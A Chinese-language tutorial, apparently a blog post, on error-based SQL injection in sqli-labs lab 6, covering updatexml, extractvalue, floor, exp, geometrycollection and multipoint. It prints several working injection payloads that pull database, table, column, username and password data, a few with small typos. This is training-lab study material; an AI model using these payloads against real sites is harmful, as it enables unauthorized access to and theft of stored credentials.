sqli-labs第六关-基于报错的注入

目录

updatexml()函数

extractvalue()函数

floor()函数

exp()函数

geometrycollection()函数

multipoint()函数


sqli-labs第六关-基于报错的注入_第1张图片

构造参数?id=1" and 1=1--+  回显为You are in...... sqli-labs第六关-基于报错的注入_第2张图片

将参数改变一下,回显不同,说明此处存在sql注入漏洞

sqli-labs第六关-基于报错的注入_第3张图片

 探测一下表中字段的列数sqli-labs第六关-基于报错的注入_第4张图片

updatexml()函数

我们先来测试一下 , updatexml()函数是否能正常报错sqli-labs第六关-基于报错的注入_第5张图片

 以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

sqli-labs第六关-基于报错的注入_第6张图片随后将测试使用的  'good'  换成查询语句即可

开始获取数据库名(limit  0,1 中的0  即从第几个开始)sqli-labs第六关-基于报错的注入_第7张图片

开始获取表名

?id=1" and updatexml(1,concat('~'(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3)--+  

OK,想必你对updatexml()函数已经有了一定的了解,不妨动手试试替换语句获取字段名sqli-labs第六关-基于报错的注入_第8张图片

你成功了吗 

sqli-labs第六关-基于报错的注入_第9张图片

sqli-labs第六关-基于报错的注入_第10张图片

 接下来获取字段中的数据,在这里需要分别获取username和password的值sqli-labs第六关-基于报错的注入_第11张图片

 到这里对于updatexml()函数的学习基本完成。

extractvalue()函数

接下来简单了解一下extractvalue()函数的使用

sqli-labs第六关-基于报错的注入_第12张图片

 测试一下extractvalue()函数能否正常使用        ('anything'可以随意替换,'~'不能改变)

sqli-labs第六关-基于报错的注入_第13张图片

 接下来将   'good'   替换为查询语句即可。sqli-labs第六关-基于报错的注入_第14张图片

 依次查询所有数据库名

?id=1" and extractvalue('anything',concat('~',(select schema_name from information_schema.schemata limit 4,1)))--+

sqli-labs第六关-基于报错的注入_第15张图片

 这样做可以直接获取当前的数据库名,换成version()即获取当前数据库版本sqli-labs第六关-基于报错的注入_第16张图片

 接下来获取表名,慢慢来,不着急

sqli-labs第六关-基于报错的注入_第17张图片

接下来获取字段名

sqli-labs第六关-基于报错的注入_第18张图片 获取字段中的数据sqli-labs第六关-基于报错的注入_第19张图片

 username和password中的数据分别获取

floor()函数

接下来使用floor()函数学习基于报错的注入(这里简单介绍一下,详细介绍还请自行搜索)

这里提供一个链接,个人觉得很有帮助。

sqli-labs第六关-基于报错的注入_第20张图片

 要保证floor报错注入,那么必须保证查询的表必须大于三条数据,并且8.x>当前mysql版本>5.0

?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.`columns` group by x) as y)--+

sqli-labs第六关-基于报错的注入_第21张图片

 使用floor()函数获取当前数据库名  接下来将database()替换为查询语句即可

你不妨尝试自己构造一下

?id=1" and (select 1 from (select count(*),concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.`columns` group BY x) as y)--+

sqli-labs第六关-基于报错的注入_第22张图片

 你构造正确了吗。     改变limit 0,1参数依次获取所有数据库名

sqli-labs第六关-基于报错的注入_第23张图片

 获取表名

sqli-labs第六关-基于报错的注入_第24张图片

 获取字段名

sqli-labs第六关-基于报错的注入_第25张图片

 获取username字段内的数据

sqli-labs第六关-基于报错的注入_第26张图片

 获取password字段内的数据

到这里针对sqli-labs靶场基于报错的floor()函数使用告一段落,你可能还有很多不理解的东西,比如为什么要这么构造,这就全看你自己了,去仔细学习这个函数,去找其他的靶场练习这个函数,全部取决于你,你人生的高度,也取决于你。

exp()函数

接下来学习exp()函数

sqli-labs第六关-基于报错的注入_第27张图片

 

sqli-labs第六关-基于报错的注入_第28张图片

 使用exp()函数获取当前数据库名   在database()处替换为查询语句即可进行注入

sqli-labs第六关-基于报错的注入_第29张图片

 依次查询所有数据库名

sqli-labs第六关-基于报错的注入_第30张图片

 获取表名sqli-labs第六关-基于报错的注入_第31张图片

 获取字段名

sqli-labs第六关-基于报错的注入_第32张图片

 获取username字段内的数据

sqli-labs第六关-基于报错的注入_第33张图片

 获取password字段内的数据

geometrycollection()函数

接下来学习geometrycollection()函数的简单使用

sqli-labs第六关-基于报错的注入_第34张图片

?id=0" and geometrycollectiont((select * from(select * from(select database())a)b));--+

sqli-labs第六关-基于报错的注入_第35张图片

获取 当前数据库名 在database()处替换为查询语句即可

sqli-labs第六关-基于报错的注入_第36张图片

 依次查询所有数据库名

sqli-labs第六关-基于报错的注入_第37张图片

 获取表名sqli-labs第六关-基于报错的注入_第38张图片

 获取字段名sqli-labs第六关-基于报错的注入_第39张图片

获取username字段内的数据sqli-labs第六关-基于报错的注入_第40张图片 获取password字段内的数据

multipoint()函数

接下来学习multipoint()函数的简单使用

sqli-labs第六关-基于报错的注入_第41张图片

?id=0" and multipoint((select * from(select * from(select database())a)b));--+

 sqli-labs第六关-基于报错的注入_第42张图片

 类似于geometrycollection()函数,获取当前数据库名  替换database()继续注入sqli-labs第六关-基于报错的注入_第43张图片

依次获取所有数据库名sqli-labs第六关-基于报错的注入_第44张图片 获取表名sqli-labs第六关-基于报错的注入_第45张图片

 获取字段名sqli-labs第六关-基于报错的注入_第46张图片

 获取username字段内的数据sqli-labs第六关-基于报错的注入_第47张图片

 获取password字段内的数据

针对sqli-labs靶场基于报错的函数学习到此为止,当然还有很多其他基于报错的函数,另外以上六种函数的其他使用方法也有很多,在这里附上链接

 海到无边天作岸,山登绝顶我为峰

祝君学有所成

你可能感兴趣的:(sqli-labs靶场练习,sql,mysql,数据库,网络安全)